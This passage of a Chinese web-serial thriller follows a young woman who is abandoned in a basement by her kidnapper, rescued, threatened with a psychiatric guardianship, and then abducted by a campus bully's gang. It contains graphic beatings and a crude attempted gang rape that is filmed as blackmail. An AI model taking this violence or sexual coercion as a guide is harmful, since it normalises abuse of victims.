“可是我舍不得你。”
她故作哀伤,幸好把下巴枕在他的肩膀上,他看不见她的脸,也看不见她唇角可压抑不住的笑容。
男人的思维异于常人。
但是,他也清楚地知道,带着秋榕榕很容易被抓捕。
他不能让任何人知道他的行踪。
“你好好的,有机会我会回头来接你。”男人微不可察地叹了一口气,“你别怪我。”
下午,男人没有出门。
给房间做大扫除。
他用酒精把房间里的每一个角落都擦拭干净。
最后,帮秋榕榕洗澡。
他带着橡胶手套,把她浑身上下每一个角落,每一个凹下去的缝隙都清理得很干净。
从里到外。
恨不得把她整个人从内部翻出来洗。
这是为了确保她身上没有藏东西。
男人离开后,没有再回来。
他跑了。
狡猾得像只泥鳅,让人抓不住。
他跑的时候,收拾了手术室里一堆瓶瓶罐罐。
就把她丢在这里。
一点吃的没留。
还把门反锁。
生怕她饿不死。
秋榕榕也才理解男人那句“你别怪我”是什么意思了。
他知道把门反锁,她很可能在这里被饿死。
但他还是这么做。
防的就是,他没跑远,秋榕榕就跑出去求救,招来警员,让他落入法网。
哪有这样养兔子的。
秋榕榕恼怒地想,昨天晚上他就是胡说八道,说不定那只兔子就是被他自己用火烤着吃掉了,吃得满嘴肥油,然后跑到她这里发神经,说兔子投胎了。
生完气之后,秋榕榕又害怕了。
万一自己没能够等来救援,岂不是得活生生饿死在这里?
她可不能死。
她得长长久久地活着。
长命百岁。
看着坏人得报应。
秋榕榕在房间里试图制造噪音,不停地拍打门,希望有人能听见她的求救。
一连几个小时,她尝试了很多种方法。
无人回应。
房间里没有吃的,秋榕榕尽量节省体力,把床单撕成一条一条,然后拿出牙刷和盆,制作了一个简易的敲击装置。
只要一拉布条,牙刷就会敲打盆发出声响。
她口干舌燥,饥肠辘辘。
房间里不分昼夜。
缺少吃食,秋榕榕有些低血糖,昏昏沉沉睡过去,醒过来的时候又得面对空荡荡的房间。
没有时间。
看不见希望。
周景行找到秋榕榕的时候,那个敲击装置已经被拆得七零八落。
她灰头土脸,蹲在墙角,正在用牙刷抠墙皮。
肖生克都能靠一把小锤子,从固若金汤的监狱里挖出去。
秋榕榕觉得自己也有希望。
她之前至少敲了十几个小时的盆。
敲的手腕骨酸,都没人理她。
她猜测,自己所处的位置是地下室,便换了另外一种逃跑方法。
秋榕榕怕死。
更怕饿死。
而她懵懵地看着门被打开,她差点以为自己是饿花了眼。
周景行像救世主一样冲进来,把外套脱下来搂住她。
“别怕,我来救你了。”
第13章 得救
周景行身后空无一人。
恰巧和他在一起的时候出事。
恰巧他一人,将她救回。
“你怎么找到这里来的?”秋榕榕因为低血糖,眼前发黑。
“我定位到你的手机在附近。”周景行没有过多的解释,他把她扶起来,“你还好吗?能不能走路?”
秋榕榕真想挤出两滴眼泪,来感激他。
可惜眼泪早就流干净了。
秋榕榕把手里的破牙刷扔了,她抓着他的衬衫,脸上的表情又哭又笑:“我是真没想到你能那么快找过来。”
“你别这么笑,难过就哭出来。”他伸手,把她脸上的墙灰用拇指抹干净,“是我不好,把你弄丢了。”
秋榕榕觉得自己劫后余生,应该乐观点。
但她抱住他,把脸埋在他的肩膀里,闻到那个雨天,属于少年干净的气息,她终于忍不住,颤抖着声音闷闷地说:“谢谢你,这两天我一直在想你,想你来救我。”
不知不觉,带着撒娇的意味。
他比神佛管用,当年秋榕榕拜了一年的神,神也没能打开这扇门。
这次,秋榕榕在心里求他,只不过两天,他就找了过来。
“周景行,谢谢你,我以后一定会报答你。”
她说得那样虔诚。
恨不得把巴黎圣母院的圣母雕像搬下来,换他上去,抱着圣子。
牙刷当然逃不出去。
这底下像迷宫。
没人救她,她抓着一把牙刷当救命稻草。
现在周景行出现,抱住她。
她觉得自己像是浮萍,终于落到了一个扎根的地方。
离开这里之后,秋榕榕发现她果然是被关在地下室里。
这个地下室位于归墟市郊区,很大,分成好几个房间,上方是废弃停工的大楼。
“赶紧报警,说不定他走的时候有一部分指纹脚印没有擦干净,还能检测到……”
秋榕榕觉得这个男人找上自己,可能和当年的案件有关系。
“好,这些事情交给我来做。”周景行见秋榕榕两腿发软,直接把她横抱起来,“你现在最重要的就是回去休息,等休息好了,我们就去警署。”
“那这里是犯罪现场,得保护好,不能被破坏……”秋榕榕满脑子都是赶紧把人抓住。
坏人只有落网,她才能真正过安生日子。
周景行强势道:“我来安排。”
秋榕榕看周景行眼里对她的关心不似作假,眼球里都是红血丝,胡子也没有刮干净,像是两天晚上都没有睡好觉,心软地说道:“好。”
回到家之后,秋榕榕原本因为恐惧支棱起了那股精气神一下子垮了。
到家就开始发高烧,吃了退烧药之后昏沉沉睡去。
再次醒过来,天光大亮。
烧退了,就是有些咳嗽。
秋榕榕去盥洗室洗了一把脸。
她看着镜子里的自己脸色苍白,活脱脱一副水鬼的模样,从旁边扯下毛巾,把脸盖上,让柔软的毛巾把脸上冰凉的水吸干。
洗漱完之后,秋榕榕在床边坐了一会儿,她觉得房间里有点空,又有点冷,想去找周景行。
去了他房间之后,才发现他竟然不在家。
秋榕榕的手机,周景行已经帮忙找回来,就放在客厅的大桌上。
上面没有凶手的指纹。
秋榕榕失踪了两天,又回来睡了一天,手机上有好多人发来的未接消息。
有辅导员,有班里的其他同学,甚至还有谭松。
谭松就发了两条:
“在哪里?怎么不来学校?”
“徐照没把你怎么样吧?”
秋榕榕大一,谭松大四,他们不是一个专业的,他担心她的安全。
秋榕榕划拉着手机,挨个认真回复解释原因。
没说自己被绑架,只说这两天她生病,没来得及看手机。
被人关心的感觉很好。
一条又一条的线,将她与其他人联系在一起。
别人的目光落在她的身上。
她感觉自己实实在在存在于这个世界上。
周景行是晚上回来的,他回来的时候秋榕榕已经睡着了,两人没有见面。
至于周淮远,秋榕榕这两天实在没有精力照顾,就请了护工上门帮忙,按小时计算。
周叔叔每个月给她五千生活费。
秋榕榕自己花销不大,学校吃饭在食堂,回家自己做,勤俭节约,所以就算加上家里两个人的口粮,到月底还能剩下个千百块钱。
大学的好处在于座位自由,又不是固定教室,这种情况下,想躲一个人,还是比较简单的。
秋榕榕在躲徐照。
姜雨薇听说秋榕榕生病,给她拎了一个大果篮,特别显眼,摆在教室里都没有地方放。
“你生病了咋不和我说一声?”姜雨薇一把抱住秋榕榕,她身上的软肉抵着她因为瘦而突出来的骨头,“这三天老师点名,都是我帮你喊的到,够义气吧!可惜你是整天都不在,后面还是被发现了。”
秋榕榕苦笑一声。
她其实是希望教课老师早点发现她不在,然后通知辅导员,让辅导员来联系她的。
“谢谢,下次如果我一整天不来,你可以直接向老师告状,说我缺课了。”
“啊?”姜雨薇脸上的表情一愣,然后抬起手摸着她的额头,“你脑子是不是坏掉了?”
秋榕榕抓下她的手,“我这是为了鞭策自己好好学习。”
“那行。”姜雨薇有些不确定,她从本子上撕下一页纸,“不过你得写下来,不然你到时候不认账,说我背后打小报告,我跳进黄河也洗不清。”
“好呀。”秋榕榕从笔袋里摸水笔。
她有一只尼克狐联名水笔,是她的心理医生送给她的。
是她的心头好。
但现在找不到了。
秋榕榕把笔袋里的笔全部倒出来翻找。
越是找不到越焦躁。
姜雨薇在旁边看着,然后笑盈盈地拿出一支笔,递给她:“用我的吧。”
秋榕榕看到那只水笔,一愣。
和她一模一样的尼克狐联名笔。
笔尾上的尼克狐,手上拿着的爪爪冰棍,可以上下按动。
“好。”秋榕榕接过笔,心不在焉地在纸上写下保证书。
“写好啦。”姜雨薇一下子就把笔抽了回去,她拿着保证书,叠好夹进书本里,冲她笑道:“那你下次可要准时来上课呀,不然我就得向老师告你的状了。”
秋榕榕心事重重地应了一声。
其实这款联名笔卖得很好。
她的丢了。
别人有一只一模一样的。
只是,她的那一只,狐狸耳朵上有一小块掉漆。
姜雨薇手中那只,也一模一样。
第14章 偷窃
邻人遗斧。
越怀疑一个人,就越觉得对方处处透着可疑。
这样是不对的。
没证据的事情,秋榕榕在心里警告自己别乱想。
她目光移到脚边并不便宜的大果篮上,微微发愣。
“你是不是没有能用的笔了?这个给你。”姜雨薇从笔袋里拿出新款星黛露联名笔,限量版,网上需要加价才能买到。
秋榕榕立刻摆手,“这款贵,我不能收。”
“我说给你就给你。”姜雨薇强硬地把笔塞进去秋榕榕的手心里,“也就一支笔而已。”
秋榕榕坦然一笑。
确实,一支笔而已。
“那谢了,回头请你喝奶茶。”秋榕榕大大方方地收下。
姜雨薇怎么看也不像是缺钱到连一支笔都需要偷窃的人。
她浑身上下都是牌子货。
秋榕榕听别人说,她头上那个发夹都得两千块。
她热情开朗,会为她打抱不平。
就连姜雨薇送秋榕榕的那支笔,也远超秋榕榕丢失的那支笔的价格。
她不该怀疑她。
上午就两节课。
秋榕榕不住校,中午回家时间又太赶,她想在学校找小时工,赚点零花钱。
走到教学楼旁边的小巷子,秋榕榕看见徐照和他的小团伙正在殴打谭松。
可能男人比较抗打。
徐照对谭松下手,比上次他对秋榕榕下手狠多了。
谭松被按倒在学校后巷那条逼仄幽暗的小巷子里,泥水混着落叶,沾满了他单薄的校服外套。
那些人围成一圈,拳脚如雨点般落下。
拳拳到肉,毫不留情。
秋榕榕看见徐照抬起脚,狠狠地踹在谭松的腹部,谭松躲不开,只能用胳膊去挡,徐照就用棒球棍砸他的手,一下又一下,他咬着牙,硬是没求饶。
骨头太硬,就容易被打到皮开肉绽。
其中有一棍子打到谭松的头。
秋榕榕看见棍子折断,前半段飞了出去,谭松的身体猛地一抖,重重倒地,发出沉闷一声。
他脑袋歪过来,眼神涣散,脸正好对着秋榕榕的方向。
鲜血顺着他的眉骨往下滴。
秋榕榕想起爸爸的头折断时候的样子。
她下意识往后退。
一步、两步……
脚步踉跄,脸色惨白。
谭松应该已经看见了她了。
秋榕榕扭头就跑。
她得去找帮手。
秋榕榕第一反应,其实是去找老师。
但是大学老师的办公室在哪里?
算了,来不及想太多。
秋榕榕只能跑到行政楼去找辅导员。
辅导员是位看上去比她大不了几岁的年轻姑娘,实习期还没过,正低头,在电脑前敲字。
听完秋榕榕气喘吁吁地说完,脸色顿时变了。
她惊得从座位上跳起来,连外套都没拿,直接跟着秋榕榕冲了出去。
秋榕榕带着辅导员快步跑回小巷口,刚一拐进去,鼻尖就闻到了一股刺鼻的血腥味。
她的脚步顿住。
墙根下,谭松靠坐着,鲜血顺着他的下颌滴落,洇进地砖的缝隙里。
他低着头,半边脸肿胀变形,嘴角裂开,正喘着气,眼睛半睁着看着前方。
辅导员倒抽一口气,脸色煞白,手捂着嘴,“这是谁干的?太过分了,在学校竟然敢如此伤人。”
秋榕榕快步走上前,“老师,他在流血,我们快把他送去医务室吧。”
她和辅导员一起,用力把谭松扶起来。
谭松个头高,看着瘦,身上其实都是肌肉,他那个重量,把秋榕榕和辅导员压得喘不过气。
“你们两个别多管闲事。”谭松嗓子哑了,他朝地上吐了一口血沫子,还有半颗断掉的牙齿。
辅导员板着脸,义正言辞地说道:“我是你的辅导员,有责任为你的安全负责!”
“老师,你是新来的吧?”谭松轻笑一声,扯动嘴角的伤口,疼得他说话有些不自然。
他眯着眼睛看着天边的太阳,“你会后悔的。”
秋榕榕在旁边听着辅导员安慰谭松。
心却越来越沉。
熙熙攘攘的学生在路上走过,他们青春洋溢,对未来充满希望。
越过人群,秋榕榕看见,徐照就站在不远处,讥讽地看着她。
处处是阳光,他站在阴影处。
像是来找她索命的恶鬼。
把谭松送去医务室之后,辅导员回去处理工作,秋榕榕心神不宁,坐在病床旁边陪他。
上午姜雨薇给的大果篮,倒是便宜了谭松。
秋榕榕剥了一个橘子,果皮抛进塑料袋,她把橘瓣掰开一半,递到谭松面前。
谭松身上的伤已经包扎好了,头破了,手臂骨裂,牙断了半颗,其他的都是皮外伤。
“你不该多管闲事。”
“嗯。”秋榕榕一瓣一瓣掰着橘子吃,“我挺后悔的。”
没勇气直接冲上去。
良心未泯,做不到见死不救。
救了人,被徐照看见,秋榕榕又害怕被报复。
听秋榕榕这么说,谭松觉得口中的橘子有点酸。
他没胃口,把剩下的橘子放在旁边的柜子上,问道:“你这三天去哪里了?怎么不来学校?”
秋榕榕实话实说:“被绑架了。”
谭松倏地坐直身体,神情一紧:“凶手是不是来找你了?”
“现在没证据指证那个人和你父亲是同伙。”
谭松皱着眉,语气激动:“我不是和你说过了吗?我的爸爸不是凶手!他只是替罪羊!那个绑架你的人才是杀你全家的罪魁祸首!”
“我不想在这里和你吵架,但我可以明确告诉你,当年,在地下室的时候,我亲眼见过你父亲的脸。”秋榕榕寒着脸,她的手指缓缓收紧,回忆令她痛苦不堪。
没有证据,谭松的父亲怎么可能被判处死刑。
当年,秋榕榕在挣扎的过程中,扯掉过凶手的面罩。
行凶的人,就是谭松的父亲。
他一点都不冤枉!
谭松神色讪讪,没什么底气,“可我的爸爸真的是个很好的人,他救助过很多流浪猫狗,他……如果不是被人设局,染上赌博,他不会做这样的事情……”
说到这里,谭松几度哽咽。
他被徐照殴打时硬得很,说到自己已经被枪毙的父亲,却红了眼眶。
果然,谁的爹妈,谁心疼。
他们之间隔着血海深仇。
都明白彼此无辜。
但独处时,又互相觉得别扭。
“一个赌鬼,欠了外面钱,把自己的良心输出去,我不认为这有什么可开脱的。”秋榕榕无比疲惫,“你说你父亲不是罪魁祸首,可是因为你查到背后真凶的线索?”
若有共犯,当偿还她家的血债。
此时,手机铃声响起。
是周景行的电话。
第15章 疾病
“你先接电话吧。”谭松闭上眼睛假寐。
他手上确实有一些当年案件的线索。
但他不确定,自己要不要和秋榕榕说。
秋榕榕看了他一眼,见他现在没有继续往下谈的意思,便站起身,拿着手机走到医务室外面的走廊上,寻了个安静的地方接电话。
病房里,谭松在她离开后,从口袋里小心翼翼拿出一个怀表,神情悲戚。
怀表打开,里面放着他们一家三口曾经幸福的合照。
而今,物是人非。
当年那个案件毁掉的,不止秋榕榕的家,还有他的。
他难过。
秋榕榕比他更难过。
他们都被过去的事情绊住,如果不来一个彻底的了断,就没有办法走向新生。
走廊的风带着暖意,秋榕榕从二楼窗户往下看,可以看到一小片榕树林。
榕树四季常青,种下去疯长,又不成材,竖着不能打家具,横着不能当柴火,由于材质差,只能当做景观树木摆着,反而少了刀斧之祸。
寓意平平安安。
可惜。
可惜了。
美好愿望终成空。
秋榕榕胳膊撑在窗户口,目光望着榕树林,接通电话。
“喂,哥哥。”
电话那头传来周景行严肃的声音,“出事了,你回来一趟。”
“现在?”秋榕榕右眼皮一跳,她下午还有一节选修课。
之前缺的课有点多,学分不够。
“嗯。”周景行应了声,电话那头好像还有其他人,他很忙,很快挂断电话。
秋榕榕看手机备忘录上的课表。
好在选修课是下午三点二十,如果中午跑得快,再赶回来上课,应该是可以的。
挂断电话后,秋榕榕急匆匆跑回医务室,对谭松说道:“我有急事,需要先回家,你这边身体如果有什么不舒服,自己叫医生。”
“不行。”谭松伸手,想拉住她。
奈何身上有伤,他手刚搭上秋榕榕的小臂,就被秋榕榕转身的动作一扯,差点把他从病床上拽下来。
“你小心点!”秋榕榕赶紧又把他扶回原位,“你的手骨裂,不能乱动。”
谭松不在意自己的时候,他皱着眉问:“你现在回家,家里可有人来接你呀?”
秋榕榕摇头:“没。”
“那我送你回去。”说着,他就要从病床上面坐起来。
“不用。”秋榕榕觉得他拖累,但是又不好明说,“你现在最重要的是好好休息。”
这个时候校医生走进来,看见这一幕斥责道:“这个同学,你的手臂刚刚固定好,不能乱动!”
谭松没理校医生,他不容置疑地对秋榕榕说道:“你和你的辅导员刚刚扶着我来医务室,学校里很多同学都看见了。
这事肯定已经传到徐照耳朵里,他不会放过你的。
你一个人回去不安全,要么找人来接,要么我送你。”
秋榕榕神色淡淡,“如果真被他堵住,多加一个你,我也不是他那伙人的对手。”
她经历前两天绑架事件后,从网上下单了驱狗喷雾,随身携带,到时候攻其不备,对付一两个人逃跑,应该不成问题。
“我可以帮你转移火力。”谭松知道秋榕榕有此祸事是因他而起,他有些不好意思,“我比你抗揍。”
秋榕榕抬起眼皮看他。
她知道,谭松担心她的安全。
“我比你跑得快。”秋榕榕软下声来宽慰,“人多的地方,他们也没那么嚣张。”
话说到这一步,谭松也不再劝,只是嘱咐她回去的路要小心再小心,不要单独走小巷子。
秋榕榕答应下来,她先在学校门卫处站着,打了网约车,等到车来之后,迅速钻到网约车后排。
车辆启动的时候,秋榕榕透过车窗,看见徐照和他的小团伙站在保安处不远的小巷子里。
不良少年三五成群,抽着烟,恶狠狠地看向秋榕榕车子驶离的方向。
山雨欲来。
秋榕榕庆幸自己没有出来打车,不然免不了和他们一顿纠缠。
别墅区安全,非业主的车辆不能进入,外来访客也需要和业主联系并且在保安那里做登记。
进小区后,秋榕榕就往家的方向走。
她发现这个小区的入住率很低,有好多别墅都是空置的,小区里几乎遇不见其他业主,若不是偶尔看到几个物业人员正在维护公共绿化,秋榕榕都得怀疑这个小区只有他们一家住户。
楼盘这么新,周叔叔一家估计也是搬过来不久。
回到家,秋榕榕扶着鞋柜把脚上的运动鞋蹭下来,换上拖鞋。
周景行坐在沙发上,面前的茶几摆着一堆文件。
周景行坐在沙发上,衬衫领口微微松开,他身前的茶几堆着文件,文件中间几页贴了凸出来的便签条。
“哥。”秋榕榕走近,语气里带着点不安,“你怎么突然让我回来?是出事了吗?”
她在他旁边坐下,膝盖快接触到茶几的边缘。
周景行修长的手交叠着,搭在膝盖上,眉头微拧,神情沉重,“妹妹,案件被撤销了。”
“什么?!”秋榕榕猛地直起身,无法置信。
周景行抬眸,眼底里有暗光:“你的心理医生没有被分尸,他还活着。”
秋榕榕怔住,唇微张,眼神从震惊慢慢转向茫然:“可、可上次不是已经做了DNA鉴定了吗?血迹都……”
“只有血迹,警署没有找到你说的麻袋。”周景行从一叠文件中抽出一份,递到她面前,“这是你心理医生的出国证明,还有他在国外生活的照片。”
秋榕榕低头看着文件,脸色越来越难看。
“他亲自打电话给警署撤案,称自己正在国外进修,短期不会回来。”周景行的语气已经尽量温和,“而且,他还给归墟市的警署,递交了你的精神诊断报告。”
文件上的心理诊断栏上,清楚地写着:创伤后应激障碍、偏执型妄想障碍、广泛性焦虑障碍,惊恐障碍。
其中,偏执型妄想障碍又叫做被害妄想症。
什么意思?
难道是想说,她所谓的杀人、分尸、绑架都是因为她得了被害妄想症吗?
“这些……”她咬着唇,压着喉咙里的颤音,“我确实得过。但那是三年前的事了,我接受过完整治疗,已经好了!”
“我相信你。”周景行握着她的手试图安抚她,他的眼神比刚才还要柔和,可紧接着说出口的话,又是一记闷锤,“但这份诊断书,足以让你被认定为限制民事行为能力人。
社区已经介入,如果不设立监护人,你可能会被送进精神病院。”
精神病。
要是被绑上这三个字,就再也不会有人相信她的话。
“可是凭什么啊……”秋榕榕猛地站起,膝盖撞到了茶几,发出刺耳的响声。
钝痛从膝盖处传出,她却没太多的感觉,“我现在什么都能做,我的生活正常,我能上学,我能说话,能思考,凭什么他们说我疯了就得被关起来!”
第16章 监护
秋榕榕很怕一群人冲进别墅,对她说:“我们是精神病院的,现在带你去治疗。”
然后,用一个铁笼子,把她关起来。
天天喂她吃五颜六色的药品。
吃的她记忆力衰退。
叫天天不应,叫地地不灵。
最后被逼成了一个真的精神病。
“精神诊断证明书在这里。”周景行的声音打断了她的胡思乱想,把她拉回现实。
“可是……为什么啊?”秋榕榕不明白,不明白一路陪自己治病的心理医生,为什么要陷害自己?
一直以来,心理医生支持她开始新的生活,鼓励她忘记过去的阴霾。
她把自己最深处的恐惧说给他听。
而他从科学的角度,教她如何自愈。
秋榕榕把他当成自己的良药。
现在他却反过来捅她一刀。
是有什么苦衷吗?
还是有误解。
对!其中一定有误解!
秋榕榕不愿意相信自己曾经信赖的人会害自己,她想到对方可能有苦衷,脸色才好看点。
“别怕,万事有我。”周景行把秋榕榕拉回到沙发上坐着,温热的手轻轻替她揉着撞到淤青的膝盖,“我可以做你的监护人。”
他温柔地包容着她慌乱的情绪,替她抚平惊慌。
像一张网,把她兜住。
周景行是秋榕榕见过最温柔可靠的人。
他比她的父母还要会照顾她。
秋榕榕的父母也爱她,但他们的爱更加严厉。
他们要求秋榕榕做一名正直善良的好人,成绩好,懂事,勤劳。
秋榕榕也确实做到了。
初中的时候,她因为成绩好,跳级中考。
哪怕中途被绑架虐待,她也在回归社会后,一边接受治疗,一边保留学籍,正常参加高考。
在世俗意义上,秋榕榕算是刻苦努力的代表。
也正因为如此,她经常紧绷着一根弦。
这根弦在周景行面前,秋榕榕可以松下去。
“哥哥,你不合适吧。”秋榕榕看着周景行,他太年轻,和监护人三个字不搭边。
“我可以的。”他含情脉脉地看着她,“配偶也适合做监护人。”
秋榕榕脸一红。
她在心里感叹,为何他的眼睛能那么多情,温柔多的,能把她溺毙其中。
她低声问:“你多少岁?”
秋榕榕除了知道周景行是周叔叔的儿子外,其他的一概不知。
她想多了解他一些。
他回答:“二十四。”
比秋榕榕想象中的要年长。
“我以为你才上大学。”
“上班了。”他没有展开说说的意思,“你别嫌弃我。”
“怎么会。”
周景行有着能让人安定下来的力量。
他们简单聊了两句,秋榕榕紧皱的眉头舒展,心口压的那坨石头挪开。
“哥哥,我想要周叔叔做我的监护人。”秋榕榕回握着他的手,越往后面说越不好意思,“我们两个只算是男女朋友,刚刚才开始谈恋爱,不算配偶,不合适。”
她喜欢和亲近的人身体接触,肌肤触碰在一起,像两块巧克力彼此融化。
但秋榕榕又得矜持一些。
她怕自己吓到他。
“听你的。”周景行尊重秋榕榕的想法。
他在她需要的时候出现。
愿意做她的退路。
又在她自己做决定的时候,给她留出足够的空间。
在秋榕榕眼里,周景行算得上完美情人。
监护人的事情需要在一周之内办妥。
秋榕榕自己打电话联系周叔叔。
电话很久才接通,那边声音很嘈杂,信号也不好,周叔叔根本没有听秋榕榕把话说完。
“喂……对,我现在没时间,有事等我回去再说。”
不由分说,挂断电话。
秋榕榕只能编辑长串短信,把来龙去脉写清楚,发送给周叔叔。
周叔叔一直没有回消息。
秋榕榕没有周阿姨的电话。
她去问周景行,周景行给了她一个号码,打不通。
下午还有课,秋榕榕只能先回学校。
周景行开车送她。
正当她刚走下车,没几步,肩膀突然被狠狠一把拽住。
“让我抓住你了,小贱人。”
一个熟悉又令人憎恶的声音从身后响起,“躲了我好几天了。”
秋榕榕猛地回头,眼前是徐照那张阴狠的脸,他嘴角挂着笑,眼神里是毫不掩饰的恶意。
她心一抖。
他还冲她吹了一声口哨。
“救……”呼喊声未出口,徐照就伸手捂住她的嘴巴。
秋榕榕张开嘴巴对着他的手狠狠地咬下去,嘴里尝到血腥味。
“贱人!你敢咬我!”
徐照吃痛,把她头发往后揪,骂了一句粗话,然后对着她的脸抽了一巴掌。
手极重,没收力。
“让人多管闲事!让你躲!”
“和谭松一样的贱种!”
“打死你们医药费我也赔得起!”
秋榕榕头发被拽掉几根,半边脸很快肿了起来。
眼见着他还要打。
“别打别打,我认输。”秋榕榕不想硬碰硬。
她委屈地用手挡着脸,假意哭两声。
然后,另外一只手去摸口袋里的驱狗喷雾。
徐照并不愿意放过她。
“你咬得老子手指头流血,老子断你一根手指头才扯平!”徐照伸手抓秋榕榕挡着脸的那只手,准备折断她的小拇指。
硬拽下来之后才发现,徐照才发现,她根本就没有哭。
秋榕榕不掉眼泪。
她的眼泪早就流干。
徐照盯着她的脸看,觉得女生挨打没哭,很不可思议。
他稍微愣神。
“离我远点!”秋榕榕趁机拿出喷雾,对着徐照的脸,按了下去。
只听徐照一声惨叫,他捂住眼睛,眼泪鼻涕和口水喷涌而出,身体躬着,像是在砧板上挑的鱼,一块踩上去会冒水的湿抹布。
秋榕榕得以挣脱他的手,疯狂往保安室的方向跑。
保安脸上盖着报纸,正在睡觉。
她大喊大叫。
这个点是上课时间,路上没什么人。
秋榕榕只要跑到保安室求救,徐照就不能够把她怎么样。
可惜天不遂人愿。
下一秒,一闷棍打在秋榕榕的后脑勺上,她晕倒在地。
……
迷迷糊糊间,她感到天旋地转,像是沉入冰冷的水中,意识模糊。
耳边传来断断续续的声音。
“把她的身份证和学生证摆好。”
“给她找个好机位,把脸和身份证都拍清楚……”
“这次,让她当大明星!”
第17章 羞辱
秋榕榕觉得自己很倒霉。
她一直在倒霉。
坏事把她包围。
她躲来躲去,恨这命运安排。
这个时候她还不知道,这不是命运,而是因果轮回。
后脑勺肿了,一动就痛。
膝盖和手腕处都有挫伤。
秋榕榕感觉有人在探她的鼻息。
手指头颤抖,碰到她的鼻尖。
秋榕榕故意憋着气。
黄毛试了一会,发现秋榕榕没有出气。
吓得绊到旁边的铁架子,一屁股摔在地上。
他连滚带爬,冲着徐照凄厉的惨道:“照哥,完蛋了,刚刚那一棍子打狠了,她……她好像没气了!”
听到黄毛的惨叫,秋榕榕心里有些痛快。
没点胆子还出来学大人绑架。
回去写作业吧!
“怎么可能?扛回来的时候身体还是热的。”徐照心下一惊。
他的眼睛红肿不堪,到现在还视野模糊。
驱狗喷雾辣得他苦不堪言,眼睛温水洗了好几次,还在刺痛,若不报仇,他这张脸往哪里放。
他勾勾手,让旁边的小弟帮忙他点烟。
旁边的小弟听到一句“秋榕榕没气了”,吓得打火机往上面一抬,差点烧到徐照的眼睫毛。
“废狗,点个烟都不会!”徐照一脚踹在点烟小弟的小腿弯上,那人哐当一声跪在地上,嘴里求饶。
他们都是学生。
恶意满满,但不专业。
“怎么可能死了?我爷爷之前用擀面杖打我,我都没死。”徐照嘴里嘟囔了一句,手里抓着冰袋,从座椅上起来,朝着秋榕榕有去。
他觉得自己今天事事不顺。
这不顺心,都是拜秋榕榕所赐。
听到徐照的脚步声,秋榕榕装不下去,索性睁开眼。
原本口里嚎着她死了的那个男生,又尖叫一句“诈尸了”,然后爬到一边。
秋榕榕瞥了那个男生一眼。
没见过世面的二五仔。
徐照手里拿着冰袋敷眼睛,他走到秋榕榕面前,拍拍她的脸,“没死就好,死太快,我不尽兴。”
他露出一口白牙笑起来,面目狰狞,小小年纪就像恶鬼罗刹。
徐照可以打人,但不许别人还手,不许别人求救,简直霸道。
秋榕榕好声好气地和他说:“徐照,之前向辅导员告状的事情是我不对,但你对谭松下手太狠,他手臂骨裂,头上也缝了几针,你这个样子会搞出人命的。”
“嘘——”徐照用食指按住秋榕榕的嘴巴,“别认错认得太快,这会让我觉得没有挑战性。”
“对不起,你想怎么消气,你可以直接和我说,我配合你,不用……”秋榕榕语速稍快,她放低姿态,想用尊严换取自己少受伤害。
“配合尼玛!”徐照直接把手中的冰袋砸向她的脑袋,冰袋“刷”地一下散开,打断秋榕榕的话。
他气急败坏地说道:“老子让你别认错!有种拿出对老子喷辣椒水的气势来!老子说不定还会高看你一眼!”
徐照希望秋榕榕有骨气。
秋榕榕不是他的对手,不想自讨苦吃。
“不用你高看,只求你别打我,上午那次就当我良心泛滥,下次我一定见死不救……”冰散在秋榕榕脑袋里,冰水顺着头发,渗进她的头皮。
秋榕榕扯扯嘴角,被冻得头皮发麻。
她的身体早就残破不堪。
这三年,她一直爱惜自己。
一点一点,把自己身心的伤都养好。
她觉得自己之前受了很多苦。
凶手用性命赎罪,一条命,换了她全家六口人。
她孤零零一个。
没人弥补她,她自己弥补自己。
“废弃工厂里,我给过你机会,你如果能给谭松一刀,我今天就不会找上你。”他把烟灰弹在秋榕榕脸上。
秋榕榕脸往旁边偏,躲过随着烟灰下来的火星子。
她错在良心没死透。
不想背上故意伤人的罪名,又没办法见死不救,这才遭了难。
徐照不肯放过秋榕榕,他招呼手下的那群小弟把她绑起来。
他们把她捆在架子上,像受难的耶稣。
捆绑的手法不专业。
秋榕榕动了动,发现麻绳使点巧劲,可以把手拽出来。
架摄影机的黄毛手一直在抖,“照哥,这事儿学校一旦追究下来,咱们可能要去坐牢,真的要这么做吗?”
徐照站在旁边,已经连续抽了三支烟。
他把香烟喷在秋榕榕的脸上,焦躁不安,高声掩饰心虚,“她一个全家死光的孤儿,怕她做什么?
归墟市一年失踪人口五千人,多她,我徐家也能摆平。”
秋榕榕被呛得直咳嗽,她知道这群学生也害怕,便厉声道:“我哥哥会来找我,如果我出了什么事,他一定会追究到底!”
“你不是全家都死光了吗?哪里来的哥哥?”
秋榕榕对上他的眼睛,这种时候不能犯怵。
徐照盯着她看了一会儿,忽然想起总是开车接送她的男人,哈哈大笑起来:“原来你说的是情哥哥呀!”
他的神情变得更加阴狠。
坏主意一个一个冒出来,令他感到兴奋。
“你说,如果我把你剥光了,让我手下的人挨个上你,再把视频邮寄给你的情哥哥,你猜他是甩了你呢?还是甩了你呢?还是甩了你?”
秋榕榕阴沉着脸。
她怕他们真的玩这么大。
恶意是经不起激的。
一旦受激,多巴胺上头,就会无限扩大。
见秋榕榕真的怕了,他修长的手指夹着烟,指了指旁边被吓到脸色苍白的黄毛。
“你去,上她,我来亲自拍视频。”
“视频拍下来就是证据。”黄毛很怂,“要不,我们把她打一顿放了?”
“你踏马的再说这种废话,老子让你当被上的那一个!”徐照对待自己人也格外凶恶。
黄毛吓得跑到秋榕榕面前,颤抖着双手解裤带,一边解一边说:“阿弥陀佛!冤有头,债有主,不是我想搞你,你要是活着出去,别算在我头上……”
秋榕榕盯着黄毛的双眼,一字一句清楚地说道:“就怪你,做鬼都不、放、过、你!”
徐照在那边摆弄摄影机,他没听见黄毛的话,只当他们两个在嘀嘀咕咕,嘲讽道:“调情啊?快点开始,我都等急了,后面还排队呢。”
第18章 恩怨
黄毛把自己的作案工具放出来之后,自己用手拽了两把,硬不起来。
愈加焦躁的黄毛咬牙骂了一句,抬手去扯秋榕榕的衣领。
就在此时。
秋榕榕慢慢用力,忍痛将右手从绳结中拽出。
趁黄毛靠近,伸手狠掐了一把黄毛最脆弱的地方。
“啊——!”
黄毛立刻发出杀猪般的惨叫。
秋榕榕在心里唾弃一声。
手感真差,像烂掉的泥鳅。
她力气小。
但打蛇打七寸。
再小的力气掐在那种地方,也足以让黄毛失去行动力。
黄毛捂着裆在地上打滚。
一旁围着徐照研究摄影机的几人被吓了一跳,愣了几秒,才反应过来出了事。
秋榕榕抓住这几秒的空隙,朝着大门跑去。
